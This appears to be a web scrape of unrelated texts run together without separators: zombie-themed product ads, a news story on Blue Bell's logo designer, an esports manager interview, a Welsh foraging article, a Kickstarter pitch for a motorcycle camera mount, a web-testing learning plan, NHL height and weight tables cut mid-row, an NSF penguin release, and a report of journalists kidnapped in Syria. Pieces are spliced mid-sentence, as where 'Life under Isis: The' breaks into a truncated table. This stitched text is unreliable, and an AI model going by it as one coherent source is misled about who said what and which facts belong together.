Zombie Decorative Toilet Paper HolderBuy Now Walking Dead Don’t Open Shower CurtainBuy Now Zombie Bathroom White Hand Towel SetBuy Now Photo-Realistic Zombie Door CoverBuy Now Zombie Hand Door Knob CoverBuy Now Zombie Window Backdrop BannerBuy Now
Zombie Books and Party Games
If you’re having a Halloween party, it’s a great time to dig out your Zombie tarot deck and show off your fortune telling skills. The makers Guide to the Zombie Apocalypse book is a great book full of make it yourself ideas for surviving the Zombie Apocalypse – from surveillance to traps, there’s no end to the clever ideas in this book.
Zombie Tarot DeckBuy Now 101 Ways to Kill A Zombie BookBuy Now Makers Guide to The Zombie Apocalypse BookBuy Now
You can check out other great costume ideas in earlier posts by clicking on the Halloween tab in the top menu but stay tuned for even more great Halloween costumes and gift ideas in the next few days. If you’re a big zombie fan, check out these other great zombie posts – there loads of gift ideas for any time of year.
&Blue Bell ice cream on a grocery store shelf in Lawrence, Kan., on April 10, 2015. (Photo: (Photo: Orlin Wagner, AP))
You’ve recognized it since childhood. That iconic gold-lidded tub with the silhouette of a girl leading a milk cow meant it was time for dessert.
Blue Bell Creamery’s logo hasn’t changed in nearly 40 years and it has ties directly to the Hub City.
Lafayette native Jerry Jeanmard, 70, designed the logo while working for an agency that carried an account for the Texas-based ice cream company.
“I used to be an illustrator and in the 1970’s the agency that handled Blue Bell’s account was in Houston,” Jeanmard said.
At that time, the century-old company began focusing on selling solely ice cream rather than butter, which quadrupled its sales by the early 1980’s and brought in $30 million a year.
Jeanmard, who graduated from the University of Louisiana at Lafayette in 1967, formerly known as the University of Southwestern Louisiana, designed the logo to company’s specification.”
Well, sort of.
“They’ve never changed it. Well, they did change it when I was doing the preliminary sketches, but only the cow,” he said. “The girl they left alone, but the cow they made many changes to because it was not anatomically correct.”
“I knew what a girl looked like but obviously I didn’t know what a cow looked like, at least not a dairy cow,” he said jokingly.
Jeanmard left his 20-year stint as an illustrator to become a Houston interior designer, but he said he still occasionally flexes his bragging rights.
“Sometimes I tell my clients that they own a sample of my work. It’s in their freezer,” he said. “They are always surprised.”
Blue Bell Ice Cream was recalled on April 20 after samples of half-gallon chocolate chip cookie dough ice cream were found to contain listeria. (Photo: AP)
Last week Blue Bell announced the return of its products to select grocery stores this fall.
The company issued a national recall five months ago and shut down production after its products were linked to 10 listeria illnesses in four states.
Like many consumers across the country, Texas is ready for the return of its beloved dessert, Jeanmard said.
“Especially here in Houston. It’s sacred,” he said.
Read or Share this story: https://www.theadvertiser.com/story/news/2015/08/24/lafayette-native-behind-blue-bells-iconic-logo/32293033/Joshua "Minsoo" Kim has been involved in the esports scene for a very long time as a caster for OGN before making his way onto Immortals as the manager of the organization's Overwatch Division.
In this interview, I had a chance to pay a visit to the IMT house and sit down with Minsoo to get to know how he became the manager of Immortals' Overwatch team, his experience casting for OGN, and how he has seen the development of esports over the years as someone who got into the industry early on.
Q: What is your role as the Immortals Overwatch Team Manager and some of the tasks that you have to oversee?
Making sure they exercise and afterward if ever the coach needs to change things up then have that be related to the players and my personal favorite is getting along with everybody and everyone is healthy mentally and physically and just have conversations and see what everyone is about.
Q: For those who need some context on your background, you lived in South Korea for around nine years working in the esports industry a bit before your return to North America. H ow did you come to join Immortals?
I found jobs casting and I thought to myself, "I still want to find a job in esports." I love stories, and I love storytelling and listening to others, so I thought, "why not management?." I've loved games all my life and Overwatch was that game that I became very much passionate about and my resume was not bad.
I did a lot of work for League of Legends but did a lot of work in other esports games too. I was also an on-camera personality so being a peoples person made the job perfect.
I had tried out for a managerial position because I thought that IMT would need one for Overwatch. Noah had thought I was applying for the League of Legends Managerial position because of my experience in LoL. I later clarified that it was for Overwatch.
I shot him another email saying that I am looking to manage the Overwatch team potentially and he told me in a month, that they see if there would be an opening. Meanwhile, I was in South Korea thinking of backup plans like if I should go into Sports Psychology and go to grad school in China somewhere. A month later, Noah emails me back, and we got set up for a few interviews and here I am.
Q: Now that you've accomplished one of your dreams in esports, how does it feel and what continues to drive you?
Q: Going back to your start of your esports career, you were a caster in Blade and Soul for OGN. Could you tell us a bit about that experience?
Q: How has your experience with casting helped with management?
You get to really read somebody off the little amount of information you get which is a big plus I learned from casting. Regardless, whether or not the game is fun or incredibly boring, you still have to make a show so constantly talking can make it seem a little fabricated at times. Keeping the pace going is very key.
Q: When you were in college, how was the esports scene at the time for you?
It was like a small convention, and it was so tiny that nobody was really there and thank god for my sister. She came to me and asked, "hey do you cast this game?" and I told her that I played a little bit of it and she was like, "okay that is good enough."
From there I got to see OGN grow bit by bit and get bigger to a scale where it moved from Yongsan to Sangam which is where you would see Apex going on and sometimes League of Legends. It has been really amazing to watch esports grow exponentially in Korea.
Q: Lastly, where would you like to see esports moving forward as a whole?
I never thought I would be here 3 to 4 months ago. Take baby steps, make sure those steps are firm, put strength in your ankles, and that is all you really need to make it. To be honest, everyone is going to speculate, and even three years from now, nobody will still know where esports can go so just sit back and watch it grow.
We would like to thank Josh for taking the time to speaking with us. You can follow Josh and his team @Immortals and on his personal Twitter: @dzMins
For more work from Akshon Esports' Sage Datuin following him on @AkshonSage
Image credit: Mateus PortilhoAll photos by Matt Allen
At midnight on a Friday, in the Parc Le Breos woodland, I'm laying in a hammock under a thin sheet of tarpaulin. I'm cocooned in four layers of clothing—two of them thermal—but the eerie, cold breeze that crosses my face is still enough to chill me to the bone. I'm on a survival and foraging course in the Gower region of South Wales near Swansea, and it's the first time I've ever slept in the woods.
Under their own makeshift shelters, Andrew Price, a bushcraft expert and foraging enthusiast, and Kate Hawarth, a herbalist who lives off-grid in a cabin in the forest (but not this forest; another forest that's now become rather upmarket, and she doesn't think much of that) are close by. Known for presenting Coast and Country on ITV Wales, Price is a bit of a Welsh TV celeb and, judging by his YouTube videos, is a little fonder of knives than most people. He's honed his bushcraft skills by hanging out with tribes and survival specialists all over the world in places as far apart as Sweden and Malaysia.
The term "bushcraft" only came into popular use during the early 2000s. Before that, activities in the wild were simply known as "survival skills." Foraging is a huge part of bushcraft; being able to source food independently without getting really ill is pretty important, whether you're on a nature holiday or living in a post-apocalyptic world full of zombies à la The Walking Dead.
Bushcraft expert Andrew Price (right).
"Of course, there's the possibility that for one reason or another, the ability to identify and collect wild foods could be a lifesaver in a survival situation," Price says as we wander through the woodland. This survivalist vibe—somewhere between being at one with nature and preparing for impending doom—lasts throughout my time in the forest.
Bushcraft and foraging have been pretty niche up to this point, though TV personalities like Bear Grylls and Ray Mears have contributed to a growing interest in these areas. Even the starkest of urbanites are starting to venture into the countryside and get down 'n' dirty with nature. Through his company, Dryad Bushcraft, Price spends most of his time teaching survival skills to those on family holidays, corporate team-building workshops, and girl scout weekends. His clients are diverse to say the least.
Burdock root.
Woodland sorrel.
"Interest in bushcraft tends to fluctuate. I think a lot of it is influenced by what's popular on TV at the time," he says. "Some years we run a lot of foraging and wilderness gourmet courses, and others are more geared towards general survival training and preparing for disasters."
The first lesson of foraging seems to be that the cuisine of a post-apocalyptic world involves a lot of foliage. We pick primroses, dandelion leaves, wood sorrel, and a handful of other things from the roughage, all of which can be eaten raw and used to make wild salad. Hawarth the herbalist knows what's good to dry or infuse, so we pull up nettles, burdock roots, and dandelions to use for tea-making too. There are a lot more weeds involved than I had bargained for.
Next, we're tasked with gathering nettles and wild garlic for the soup. We're not allowed to wear gloves for nettle-picking, Price tells us, and we need to check every leaf carefully to make sure it's wild garlic and not a toxic plant called "lords-and-ladies" that grows right next to it. No pressure, then. Stung fingertips and toxin-related bouts of paranoia later, we manage to collect a sturdy Tesco bag full of plant. Now we just have to hope that none of it kills us.
A few miles away at Oxwich Bay, we walk the length of the coastline collecting mussels, periwinkles (sea snails, if you're not a familiar), and seaweed in tin buckets. Soaked-through boots and a moral dilemma over whether the sea creatures can feel me ripping them from the rocks make for an emotional experience but one that is inevitably forgotten by the time we're scooping the innards out of mussel shells at dinnertime.
Nettle and wild garlic soup.
Our starter of nettle and wild garlic soup is ready quickly, and it's delicious. Wild garlic is a kind of garlic-flavoured lettuce, but with a much fresher taste than the regular variety. The nettles are fragrant and strong in flavour, giving the soup an earthy, comfort-food tone. The meal is a real winner, so much so that I decide it was probably worth the critically stung fingers. A quick rinse of the pan and it's back to work cooking the main course. Mussels and sea snails are soaked in a sauce of wild garlic, white wine, and cream (the latter two items not foraged, given the lack of cows to hand and no time to wait for grapes to ferment).
As Price stirs the pot over naked flames, I wonder how he got into this line of work and whether he's always been so at ease fending for himself in the woods.
"My interest in the outdoors and foraging started when I was very young," he explains. "I remember my grandfather showing me where to collect mussels and periwinkles under Mumbles Pier when I was about six years old."
Periwinkles at Oxwich Bay.
But it's not just outdoorsy types in coastal or rural locations that are getting excited about foraging. Mark Hix also values the freshness and healthiness of foraged foods, which is why they feature on his fine dining menus.
"I've been keen on foraging since the early days of my career when Italian waiters used to bring baskets of ceps [a type of mushroom] into the hotel, foraged from Wimbledon Common," he tells me. Hix also notes that after a long time, the British public is finally coming around to the idea of wild foods.
Periwinkles, mussels, Pepper Dulse, and sea lettuce.
"Foraging is definitely gaining in popularity. They've been doing it on the Continent for generations, but we've always shied away from it," he explains. "I can't see why, some of the tastiest vegetables and herbs that are in season now grow wild on our doorsteps and on our coastlines."
After surviving my night in the woods, I wake up to a semi-foraged breakfast: seaweed-infused scrambled eggs, bacon, Welsh flatbread, and wild salad. The standout flavour is definitely the seaweed, a variety called Pepper Dulse that tastes like truffles and mushrooms.
We say our goodbyes and by the time I pull into a Swansea service station, unwashed and in need of caffeine, I feel better prepared for the zombie apocalypse, but really fucking glad to see a Costa.How's it work?
The secret to the CycleMount™ Mirror Mount's adjustability is the 360 degree rotation. No standard GoPro® mount allows for rotation, meaning if mount isn’t exactly straight or exactly perpendicular to the direction of travel, the camera cannot be aimed correctly. The CycleMount™ Mirror Mount solves this by having a central pivot pin that allows for full 360 degree rotation meaning no matter what angle your front fairing sits at you can point your camera perfectly straight and lock it down for rock solid video.
Having a camera mount bolt directly to the structure of the motorcycle improves video quality dramatically by eliminating the flex and vibration associated with stick on mounts on flexible bodywork. The upper fairing stay is the ideal location for a camera mount because it is solidly attached to the frame of the motorcycle, provides a clear view forward off the front of the bike or rearward towards the hand controls allowing for stunning video.
CycleMount with Orange GoPro Wrap
Included matching block-off plate
Why CycleMount is better
Rock solid video
Completely adjustable for perfect aim
Doubles as mirror block-off plates
Strong and Durable
Included Parts
Will it fit my bike?
You can find our complete application list at http://skutr.net/cyclemount-applications/
There are 3 part numbers available, a wide hole spacing (CM-W), a narrow hole spacing (CM-N), and a 2008+ YZF-R6 specific (CM-NR6) which includes a new rubber windshield gasket for a proper fit. If your exact model is not listed, we also have the spacing ranges so you can see what model you require again at the above web address. You can also help us expand our model listing by providing the measurements to us at your convenience.
Where we're at
May 2013 - Idea & Planning - COMPLETED
June 2013 - Concept drawings - COMPLETED
July 2013 - Design Finalized - COMPLETED
August 2013 - 3D computer models - COMPLETED
September 2013 - Created Prototypes - COMPLETED
October 2013 - Cut Tooling & Funding period - IN PROGRESS
November 2013 - First samples off mold and tooling Adjustments
December 2013 - Final samples and Start Production
January 2014 - Start shipping
How your backing helps
Your support is to help fund the tooling costs and get production running. Getting the manufacturing setup is quite expensive and we can't do it without you!
By sharing the CycleMount Kickstarter page with your friends you can help us reach a broad audience and help us meet our funding goal, Remember, if we don't reach our goal, the campaign gets terminated, it's all or nothing! Every facebook post, email, or tweet will help!
If we exceed our funding goal we can make improvements such as getting component pieces made in the US, nice(r) retail packaging, and bonus items included with purchase.
Other Rewards - Show off your supportThis is the first draft of the table of contents of a book that I have been writing.
It’s worth noting that this entire program can be worked through without spending a penny on proprietary software (with the optional exception of Charles). It also does not require a powerful computer – you could do all this on a five year old MacBook.
Use PHP to put up your own Web site. Spend a couple of weeks making it a reasonably decent looking site. It doesn’t matter what the site is or whether it has any transactional functionality. Just some pages that display photos and content is fine.
Use CSS, JavaScript and Chrome Web inspector while building your site. You don’t have to do anything fancy just try to use inspector and write some CSS and JavaScript every time you work on your site.
Use lynx --dump to retrieve the contents of your Web site. Just hardcode all the page URLs. Redirect all the content to flat files, then use grep to look for patterns in your content. Start by looking for mistakes you commonly make. Save your greps in a file.
Did your greps actually do what you wanted? Try using find, egrep and/or perl -e. You can look up the full Perl regex syntax online and there are both REPL-based and online regex testers available.
Do your greps do what you want now? You might want to stop and read the Mastering Regular Expressions book. You will never once in your long future career ever regret taking the time to read this book.
Use wget to retrieve source files from your site. Save the files in a directory. Then write shell scripts to apply jshint, html tidy and csslint respectively. What did you learn?
Write a grep wrapper for the static analysis performed in the previous step. Filter out boring lines and/or highlight interesting lines in red. Save it all and check it in to source control. Seriously if you are still not in source control at this point STOP NOW and figure it out. Otherwise, congratulations you are just about to lose several hours of valuable work — prepare to go back to step 3 and start over! Sorry to be harsh but you WILL lose work. CHECK YOUR SITE INTO SOURCE CONTROL TOO.
Use curl to retrieve source instead of wget. What is different? Which one do you like better? Check it into source control.
Now go back to your wget script and use your text editor to batch-replace the end of every wget line with &. Now all your wgets run at once. What happens? Which strategy do you like better? Create a branch called “concurrent,” check in your new code and push it to github.
Now use GNU Parallel to do the same thing. Spend some time squelching wget log noise if necessary.
Now start your script, open a separate window and open htop. What does it all mean? What did you learn once you understood it? Now repeat with iotop and iftop. Check your bash history, see if there’s any lines in there worth remembering (spoiler alert: yes there are). Drop those lines in a new lib/snippets.sh and check it in to source control.
Is your wget script overpowering your CPU? You can go back and tweak GNU Parallel to run fewer concurrent jobs. Check your config change into source control.
Implement the same script with curl. What is different? What is the same?
Extract the GNU Parallel runner into its own file, so that there is no duplicated code between the curl and wget versions. Learn how to use source <file>
Now merge your “concurrent” branch back into master. You can always go back to just before the merge commit if you want to play with the old single threaded version. Tag the revision if you want, and/or just put in a comment you can remember to search for later.
Now use wget, lwp-request and curl to examine HTTP headers. These won’t make sense unless you go and read Wikipedia and StackOverflow and ServerFault and get a good understanding for yourself of what happens during the life of a Web request. You will never once regret having spent the time to learn this information.
Now use wget/curl to examine the headers for your Web site. Does it return the headers you would expect? What about for pages that don’t exist or have moved? Fix your site if the headers aren’t working properly.
Save your favorite header checks in SCM.
Wrap your header checks in greps that filter out boring lines.
Write a for loop that wraps the wrapper you wrote in the previous step.
Go to your Web server and and start a GNU screen session. You will have to spend some time reading up on what screen is and how to control it. Once you have this information you can pretty much always set up a CI server of your own on a Linux box, regardless of the other parameters of the environment.
Start your for-loop-wrapper inside the screen session. Congratulations! You are now running a production monitoring daemon.
You could use cron instead of a for loop and then you would get email notifications for free (assuming your ops person has configured your host with a mail account). Go and learn how cron works, it’s simple and you will use this knowledge about five times an hour once you start dealing with software systems at Web scale. Cron runs basically everything on the Web.
Now use Chrome Web Inspector Net tab to look at HTTP traffic on your site. It is assumed you learned the basics of Chrome inspector during the initial 2 weeks you spent building your site.
Use Charles to view the same traffic (optional if you don’t want to pay for Charles).
Use tcpdump to view network traffic. You just have to learn to filter tcpdump down to your web server traffic, then you can stop. TcpDump is huge, you should not try to learn all of it now. It’s OK if the commands that work for you seem somewhat obtuse and magic. You can come back and fill in those gaps in your knowledge later. For now you need to be thinking about TCP packets.
Go learn how TCP conversations work during the life of a Web request. You will use this information every day for the rest of your career as a Web developer.
Now go back and look at tcpdump again. Use wireshark to visualize and filter.
Save your tcpdump scripts in SCM.
Go and read your web server logs and PHP logs. What is interesting? What needs to be fixed? Write and save greps for the log lines that are interesting.
Use cut and histo to graph log messages in real time. Save it I. SCM, leave it running inside screen. Congrats you built a log monitoring service.
Take a day to fix your worst log boo boos. watch the graphs of “bad ” messages go down. Take screenshots, celebrate! Now you have built a “refactoring dashboard” like the one Ross Snyder talked about at Surge 2011.
Now you are probably ready to get your head around the Selenium stack, one of the most complex application stacks in the Web industry.
First install wd (prounounced “would”) and open a wd shell. Follow the steps in the tutorial and get them to actually work. This will take a couple of days, probably and that’s OK. Go slowly and bookmark all the helpful selenium articles you find. You will come back to these again and again.
Now go back and implement all of the wget, curl, lynx projects above with Selenium. This will take a month or so, probably. You don’t have to use wd, use whatever driver/language makes sense to you.
As you go, install the selenium headless environment on your server and get your new scripts running heedlessly inside your for-loop (or your cron if you went that way). You can leave your old scripts running too, in fact this is recommended so you can cross check output between different versions of the same script.
Congratulations you now have an incredibly powerful Web testing and monitoring tool at your disposal.
Take a week to pay down your technical debt. This is the only time you will stop all production for a week like this, but it’s worth it. After this initial debt is paid, you can just fix technical debt as part of your normal work day, occasionally making a project out of a big task.
Now select a login form whose action you would like to automate. Get it working. This will take a while. Use your local selenium meet up, #selenium and StackOverflow. Bookmark everything and blog what you learn. This is a huge opportunity for you to demonstrate that you are have achieved beginner status in one of the most complex and least-understood technologies around. Don’t skimp on the time required to make your first good impression as a selenium hacker! And welcome to the community!
Add your login form automation script to your CI cron. Watch it for a couple of days. What did you learn?
Pick another login form or similar single-page form. Automate it. Put it in your CI cron.
Read the Selenium API documentation carefully. Think about what kinds of capabilities exist that you could use to automate a slightly more complex flow (think: 3 or 4 page form such as credit card and shipping flow).
Automate that slightly more complex flow. You will have to read the Selenium/WebDriver source to fully understand how the APIs work. That is normal — you cannot master Selenium without reading the source, because the project evolves so fast that the documentation lags behind as a matter of course. Use your list of Selenium resources to back you up as you read the code. Ask whatever questions you need to, and try to do it on StackOverflow. If you are wondering about it and asking, then a lot of other people are probably out there getting stuck on it but not asking.
Get it working.
Put it in your CI cron.Life under Isis: The |
.3 69.5 68.5 69.7 1933-34 70.8 69.6 68.5 70.0 1934-35 70.9 69.8 68.2 70.2 1935-36 71.2 69.9 68.6 70.3 1936-37 71.1 69.9 68.8 70.3 1937-38 71.2 69.8 69.0 70.2 1938-39 71.4 70.0 69.1 70.4 1939-40 71.6 69.9 69.5 70.4 1940-41 71.7 70.1 70.0 70.6 1941-42 71.5 70.0 69.5 70.4 1942-43 71.7 69.8 69.4 70.3 1943-44 71.0 69.4 69.8 69.9 1944-45 71.2 69.4 69.5 70.0 1945-46 71.2 70.0 69.8 70.4 1946-47 71.4 69.9 69.7 70.4 1947-48 71.1 70.1 70.0 70.4 1948-49 71.3 70.2 69.8 70.5 1949-50 71.4 70.2 70.2 70.6 1950-51 71.7 70.3 70.2 70.8 1951-52 71.6 70.3 69.9 70.7 1952-53 71.8 70.6 70.2 70.9 1953-54 71.7 70.6 70.1 70.9 1954-55 72.0 70.7 70.0 71.0 1955-56 71.8 70.8 70.4 71.1 1956-57 72.0 70.7 70.4 71.1 1957-58 71.9 70.6 70.0 71.0 1958-59 71.6 70.7 69.9 71.0 1959-60 71.8 70.7 70.2 71.0 1960-61 71.5 70.7 70.4 70.9 1961-62 71.6 70.9 70.4 71.1 1962-63 71.6 70.8 70.5 71.0 1963-64 71.8 70.8 69.7 71.1 1964-65 71.8 70.9 69.8 71.2 1965-66 71.7 71.0 70.6 71.2 1966-67 71.7 71.1 70.3 71.3 1967-68 71.7 70.9 70.4 71.1 1968-69 71.7 70.8 70.5 71.1 1969-70 71.8 70.9 70.6 71.2 1970-71 71.8 71.0 70.8 71.3 1971-72 71.9 71.1 70.8 71.3 1972-73 72.1 71.4 70.9 71.6 1973-74 72.2 71.4 70.7 71.7 1974-75 72.2 71.6 71.0 71.8 1975-76 72.3 71.7 71.4 71.9 1976-77 72.5 71.7 71.0 72.0 1977-78 72.5 71.6 71.4 71.9 1978-79 72.8 71.6 70.7 72.0 1979-80 72.7 71.6 71.0 72.0 1980-81 72.8 71.7 70.4 72.1 1981-82 72.9 71.7 70.2 72.1 1982-83 73.0 71.6 70.1 72.1 1983-84 73.1 71.7 70.2 72.1 1984-85 73.1 71.7 70.2 72.2 1985-86 73.1 71.8 70.3 72.3 1986-87 73.2 71.9 70.2 72.4 1987-88 73.4 72.0 70.5 72.5 1988-89 73.4 72.2 70.9 72.6 1989-90 73.4 72.3 71.0 72.7 1990-91 73.5 72.3 71.2 72.7 1991-92 73.6 72.2 71.0 72.7 1992-93 73.4 72.3 71.3 72.7 1993-94 73.6 72.3 71.2 72.8 1994-95 73.5 72.4 71.7 72.8 1995-96 73.7 72.5 71.6 72.9 1996-97 73.9 72.6 72.0 73.1 1997-98 74.0 72.7 72.4 73.2 1998-99 74.0 72.6 72.2 73.1 1999-00 73.8 72.7 72.5 73.1 2000-01 74.0 72.7 72.3 73.2 2001-02 73.9 72.7 72.5 73.1 2002-03 74.0 72.8 72.8 73.2 2003-04 74.0 72.9 73.0 73.3 2004-05 2005-06 73.9 72.9 73.3 73.2 2006-07 73.7 72.9 73.1 73.2 2007-08 73.8 72.8 73.3 73.1 2008-09 73.7 72.9 73.4 73.2 2009-10 73.8 72.8 73.4 73.2 2010-11 73.8 72.8 73.8 73.2 2011-12 73.8 72.8 73.6 73.2 2012-13 73.9 72.8 73.8 73.2 2013-14 73.7 72.8 74.0 73.1 2014-15 73.8 72.7 74.1 73.1
Year Def Avg Wt Fwd Avg Wt Goalie Avg Wt Skater Avg Wt 1917-18 180.3 170.5 162.5 173.5 1918-19 180.2 169.4 170.0 173.0 1919-20 182.7 169.7 168.6 173.9 1920-21 179.8 168.8 170.0 172.4 1921-22 179.5 169.3 168.0 173.1 1922-23 177.2 168.0 155.0 170.9 1923-24 178.9 164.1 157.5 165.3 1924-25 177.6 165.0 160.0 168.2 1925-26 178.2 166.3 156.9 170.7 1926-27 184.0 167.8 156.3 173.6 1927-28 178.1 167.7 160.6 171.4 1928-29 181.5 167.7 160.1 172.1 1929-30 181.9 168.1 158.1 172.4 1930-31 182.3 166.8 158.1 171.9 1931-32 183.2 167.6 157.1 172.6 1932-33 180.5 166.4 156.8 170.9 1933-34 182.6 167.2 154.3 172.6 1934-35 181.7 167.5 155.1 172.0 1935-36 184.9 168.5 156.9 173.6 1936-37 183.4 169.2 158.4 174.1 1937-38 185.5 169.6 157.4 174.2 1938-39 186.9 169.4 160.3 174.2 1939-40 186.9 169.3 156.2 175.0 1940-41 188.8 169.7 171.0 175.4 1941-42 187.5 170.0 175.2 175.2 1942-43 187.5 169.7 165.1 175.1 1943-44 188.6 167.8 165.8 173.4 1944-45 188.3 167.0 170.2 173.5 1945-46 187.8 170.2 170.8 175.5 1946-47 188.1 169.3 174.0 175.2 1947-48 184.8 170.1 170.0 173.8 1948-49 184.4 170.1 175.0 174.3 1949-50 184.7 169.3 174.2 174.0 1950-51 186.0 170.2 175.5 175.5 1951-52 186.4 169.8 173.1 175.2 1952-53 186.9 171.3 173.6 175.6 1953-54 186.8 171.1 172.3 175.4 1954-55 187.0 171.0 170.1 175.4 1955-56 185.4 173.2 177.8 177.0 1956-57 186.1 174.4 173.3 177.8 1957-58 186.8 173.2 174.4 177.1 1958-59 186.1 175.1 178.9 178.3 1959-60 185.7 175.5 174.4 178.6 1960-61 184.5 176.1 179.9 178.3 1961-62 186.7 177.5 182.1 180.3 1962-63 186.6 178.3 177.3 181.2 1963-64 186.9 178.7 173.9 181.5 1964-65 187.8 179.9 178.3 182.2 1965-66 187.0 181.1 181.8 183.2 1966-67 188.0 181.8 183.1 184.0 1967-68 187.5 180.3 178.6 182.6 1968-69 189.3 179.5 178.2 182.7 1969-70 189.0 180.7 180.2 183.6 1970-71 189.5 181.5 180.8 184.2 1971-72 189.9 182.0 181.1 184.5 1972-73 191.5 184.1 179.2 186.7 1973-74 192.2 184.5 179.0 187.1 1974-75 192.2 185.5 180.4 187.8 1975-76 193.4 186.1 182.7 188.6 1976-77 194.1 186.2 182.1 189.0 1977-78 194.7 186.2 183.1 189.1 1978-79 195.5 187.1 179.4 190.1 1979-80 196.1 187.4 180.5 190.4 1980-81 197.0 187.5 177.7 190.9 1981-82 197.8 188.3 177.3 191.6 1982-83 198.8 188.8 176.7 192.2 1983-84 199.4 189.0 176.6 192.6 1984-85 199.9 190.1 177.0 193.3 1985-86 200.4 191.4 178.3 194.7 1986-87 201.2 192.8 178.4 195.7 1987-88 201.9 193.4 179.3 196.4 1988-89 202.7 195.0 182.2 197.7 1989-90 203.2 195.9 181.8 198.4 1990-91 204.0 196.4 182.7 199.0 1991-92 204.9 196.8 182.7 199.6 1992-93 204.0 196.9 184.3 199.3 1993-94 205.6 197.6 185.1 200.5 1994-95 206.5 198.9 189.5 201.5 1995-96 207.3 199.5 187.4 202.1 1996-97 208.7 201.0 188.4 203.6 1997-98 210.0 202.3 191.4 204.9 1998-99 210.0 201.4 190.9 204.5 1999-00 210.4 201.3 192.5 204.5 2000-01 210.4 201.8 191.7 204.9 2001-02 211.1 202.2 194.0 205.3 2002-03 211.5 203.0 193.9 205.9 2003-04 211.8 203.6 195.4 206.3 2004-05 2005-06 211.6 203.4 196.4 206.3 2006-07 210.3 203.0 194.8 205.6 2007-08 210.0 203.1 197.1 205.4 2008-09 209.1 203.2 198.8 205.2 2009-10 209.7 202.4 197.9 204.9 2010-11 209.3 202.0 197.9 204.5 2011-12 208.5 201.3 196.8 203.8 2012-13 207.8 201.5 198.0 203.6 2013-14 205.3 200.2 198.1 201.9 2014-15 205.0 199.2 199.4 201.2News Release 12-207
Changing Climate, Not Tourism, Seems to Be Driving Decline in Chinstrap-Penguin Populations
High-resolution satellite imagery aids in study
A 2008 photo of a chinstrap penguin on the Antarctic Peninsula.
November 6, 2012
This material is available primarily for archival purposes. Telephone numbers or other contact information may be out of date; please see current contact information at media contacts.
The breeding population of chinstrap penguins has declined significantly as temperatures have rapidly warmed on the Antarctic Peninsula, according to researchers funded in part by the National Science Foundation (NSF).
The study indicates that changing climatic conditions, rather than the impact of tourism, have had the greatest effect on the chinstrap population.
Ron Naveen, founder of a nonprofit science and conservation organization, Oceanites, Inc., of Chevy Chase, Md., documented the decline in a paper published in the journal Polar Biology. Naveen and coauthor Heather Lynch, of Stony Brook University, are researchers with the Antarctic Site Inventory (ASI).
The paper’s findings are based on an analysis of data collected during fieldwork conducted in December 2011 at Deception Island, one of Antarctica’s busiest tourist locations.
“We now know that two of the three predominant penguin species in the peninsula--chinstrap and Adélie--are declining significantly in a region where, in the last 60 years, it’s warmed by 3 degrees Celsius (5 degrees Fahrenheit) annually and by 5 degrees Celsius (9 degrees Fahrenheit) in winter,” said Naveen. “By contrast, Gentoo penguins are expanding both in numbers and in range. These divergent responses are an ongoing focus of our Inventory work effort.”
The ASI has been collecting and analyzing Antarctic Peninsula-wide penguin population data since 1994, and these new findings have important implications both for the advancement of Antarctic science and the management of Antarctica by the Antarctic Treaty nations. The United States is a signatory to the Treaty.
The Inventory is supported in part by NSF’s Office of Polar Programs and also by public contributions. The project’s fieldwork at Deception Island was assisted by a grant from The Tinker Foundation.
Through Polar Programs, NSF carries out its presidential mandate to manage the U.S. Antarctic Program, which coordinates all U.S. research on the southernmost continent and in the Southern Ocean.
ASI is the only science project tracking penguin population changes throughout the entire Antarctic Peninsula region.
“Our Deception Island work, using the yacht Pelagic as our base, occurred over 12 days and in the harshest of conditions--persistent clouds, precipitation and high winds, the latter sometimes reaching gale force and requiring a lot of patience waiting out the blows. But, in the end, we achieved the first-ever, one-season survey of all chinstraps breeding on the island,” Naveen said.
There has been speculation that tourism may have a negative impact on breeding chinstrap penguins--especially at Deception Island’s largest chinstrap colony, known as Baily Head.
Naveen oversaw the Deception Island census effort. Lynch, the Inventory’s chief scientist, undertook subsequent analyses.
The results and analyses, according to Lynch, shed new light on the massive changes occurring in this region.
“Our team found 79,849 breeding pairs of chinstrap penguins at Deception, including 50,408 breeding pairs at Baily Head. Combined with a simulation designed to capture uncertainty in an earlier population estimate, there is strong evidence to suggest a significant decline, greater than 50 percent, in the abundance of chinstraps breeding at Baily Head since 1986-87.
“The decline of chinstrap penguins at Baily Head is consistent with declines in this species throughout the region, including at sites that receive little or no tourism; further, as a consequence of regional environmental changes that currently represent the dominant influence on penguin dynamics, we cannot ascribe any direct link in this study between chinstrap declines and tourism.”
The Baily Head analysis was abetted by Lynch’s analyses of high-resolution satellite imagery. Images for the 2002-03 and the 2009-10 seasons suggest a 39-percent decline during that seven-year period, providing independent confirmation of this population decline.
Through support from NSF and a cooperative effort with the University of Minnesota’s Polar Geospatial Center, the ASI continues to demonstrate the use of satellite imagery to analyze and describe environmental change in sensitive habitats.
Adds Lynch, “While there has been considerable focus in the policy and management community about the potential impact of tourism on these penguin populations, we cannot forget the overwhelming evidence that climate is responsible for the dramatic changes that we are seeing on the peninsula. If tourism is having a negative impact on these populations, it’s too small an effect to be detected against the background of climate change.”
The other ASI researchers on the team were Steven Forrest, of Oceanites, Inc.; Thomas Mueller of the Biodiversity and Climate Research Centre and Michael Polito of the University of North Carolina, Wilmington.
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Media Contacts
Peter West, NSF, (703) 292-7530, email: [email protected]
Program Contacts
Diana Nemergut, NSF, (703) 292-7448, email: [email protected]
Principal Investigators
Ron Naveen, Oceanites, Inc., 202-237-6262, email: [email protected]
The National Science Foundation (NSF) is an independent federal agency that supports fundamental research and education across all fields of science and engineering. In fiscal year (FY) 2019, its budget is $8.1 billion. NSF funds reach all 50 states through grants to nearly 2,000 colleges, universities and other institutions. Each year, NSF receives more than 50,000 competitive proposals for funding and makes about 12,000 new funding awards.
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Two Times journalists have been kidnapped, beaten and shot at by a Syrian rebel gang, before managing to escape with their lives.
Reporter Anthony Loyd and photographer Jack Hill were returning to Turkey from northern Syria with their fixer when they were apprehended by the rebels, who tied them up and threw them in the back of their car.
Loyd was hooded and they were driven to the town of Tall Rifat where they were held in a warehouse by guards who had been guiding them to the border.
But by looking through a crack in the car's boot, the journalists noticed an opportunity to force open the boot with their feet and escape. The fixer managed to steal a moped and raced away to a safe house nearby.
The Times journalists were recaptured, however, and beaten by the rebels, who also shot Loyd twice in the leg to stop him running away.
The pair did not escape until the Islamic Front, which was formed last year to counter extremists, heard the news and confronted the gang.
